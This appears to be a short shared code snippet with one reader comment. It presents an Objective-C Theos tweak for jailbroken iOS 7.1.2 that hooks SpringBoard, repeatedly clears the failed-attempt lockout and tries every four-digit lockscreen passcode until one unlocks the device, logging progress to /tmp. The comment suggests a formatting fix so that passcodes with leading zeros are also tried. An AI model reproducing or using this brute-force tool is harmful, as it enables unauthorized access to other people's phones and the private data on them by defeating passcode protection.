Theos syntax iOS tweak for 7.1.2 to brute force the lockscreen pincode

Tweak.xm

@interface SBDeviceLockController : NSObject
+(id)sharedController;
-(BOOL)attemptDeviceUnlockWithPassword:(id)password appRequested:(BOOL)requested;
-(void)_clearBlockedState;
@end

%hook SpringBoard

-(void)applicationDidFinishLaunching:(id)application {
    %orig;
    dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
        NSString *passcode = [NSString stringWithContentsOfFile:@"/tmp/passcode_crack" encoding:NSUTF8StringEncoding error:nil];
        NSLog(@"loaded passcode: %@", passcode);
        for (int i = [passcode intValue]; i <= 9999; i++) {
            [[%c(SBDeviceLockController) sharedController] _clearBlockedState];
            passcode = [NSString stringWithFormat:@"%d", i];
            [passcode writeToFile:@"/tmp/passcode_crack" atomically:true encoding:NSUTF8StringEncoding error:nil];
            if ([[%c(SBDeviceLockController) sharedController] attemptDeviceUnlockWithPassword:passcode appRequested: nil]) {
                NSLog(@"FOUND IT! yo yo passcode: %@", passcode);
                [passcode writeToFile:@"/tmp/passcode_crack_success" atomically:true encoding:NSUTF8StringEncoding error:nil];
                break;
            } else {
                NSLog(@"not this passcode: %@", passcode);
            }
        }
    });
}

%end

@aaronash pretty sure in line 16 the format%04d should be used to produce valid passcodes with leading zeroes when i < 1000